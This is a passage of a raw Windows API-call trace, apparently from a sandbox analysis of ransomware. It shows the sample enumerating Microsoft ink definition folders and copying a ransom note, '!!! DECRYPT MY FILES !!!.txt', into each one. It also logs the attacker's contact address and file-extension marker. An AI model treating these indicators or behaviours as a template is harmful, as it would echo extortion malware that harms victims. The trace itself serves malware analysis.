dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0112.319] SysReAllocStringLen (in: pbstr=0x6ebe880*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\", len=0x48 | out: pbstr=0x6ebe880*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 1 [0112.319] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\") returned 0x48 [0112.319] SysReAllocStringLen (in: pbstr=0x6ebe828*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebe828*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0112.319] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0112.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*.*", lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5000 [0112.319] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.319] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0112.320] SysReAllocStringLen (in: pbstr=0x6ebe878*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml", len=0x4e | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 1 [0112.320] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml", cchLength=0x4e | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 0x4e [0112.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.320] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.320] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd81c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0112.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebd818, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0112.320] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe584 | out: lpFindFileData=0x6ebe584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17b63f64, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5500 [0112.320] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0112.320] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0112.323] GetProcessHeap () returned 0x630000 [0112.323] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4f80, Size=0x38) returned 0x6d5580 [0112.323] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0112.323] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", len=0x56 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 1 [0112.323] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", cchLength=0x56 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 0x56 [0112.323] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.323] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.323] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.323] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.324] GetProcessHeap () returned 0x630000 [0112.324] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5580, Size=0x3c) returned 0x6fef578 [0112.324] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0112.324] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", len=0x53 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 1 [0112.324] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", cchLength=0x53 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 0x53 [0112.324] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.324] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.324] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.324] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.324] GetProcessHeap () returned 0x630000 [0112.324] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef578, Size=0x40) returned 0x6fefba8 [0112.324] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0112.324] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0112.325] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0112.325] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml", len=0x4b | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0112.325] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 0x4b [0112.325] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0112.325] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0112.325] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0112.325] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0112.325] GetProcessHeap () returned 0x630000 [0112.325] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fefba8, Size=0x44) returned 0x649f58 [0112.325] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0112.326] SysReAllocStringLen (in: pbstr=0x6ebe880*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\", len=0x46 | out: pbstr=0x6ebe880*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 1 [0112.326] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0112.326] SysReAllocStringLen (in: pbstr=0x6ebe828*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebe828*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0112.326] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0112.326] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*.*", lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f80 [0113.496] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.496] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd05, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0113.496] SysReAllocStringLen (in: pbstr=0x6ebe878*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml", len=0x4e | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 1 [0113.496] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml", cchLength=0x4e | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 0x4e [0113.496] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.496] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.496] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.496] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd81c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0113.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebd818, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0113.497] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe584 | out: lpFindFileData=0x6ebe584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17b63f64, dwReserved1=0x6c, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4f00 [0113.497] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0113.498] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0113.501] GetProcessHeap () returned 0x630000 [0113.501] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b12b0 [0113.501] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0113.501] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", len=0x57 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned 1 [0113.501] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", cchLength=0x57 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml") returned 0x57 [0113.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.501] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.501] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.501] GetProcessHeap () returned 0x630000 [0113.501] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12b0, Size=0x10) returned 0x6b1388 [0113.502] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0113.502] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml", len=0x54 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 1 [0113.502] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml", cchLength=0x54 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 0x54 [0113.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.502] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.502] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.502] GetProcessHeap () returned 0x630000 [0113.502] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1388, Size=0x14) returned 0x6b04f8 [0113.502] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0113.502] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml", len=0x51 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 1 [0113.502] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 0x51 [0113.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.503] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.503] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.503] GetProcessHeap () returned 0x630000 [0113.503] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04f8, Size=0x18) returned 0x6b02b8 [0113.503] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0113.503] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml", psz="C:\\Program Files\\Common Files\\microsoft 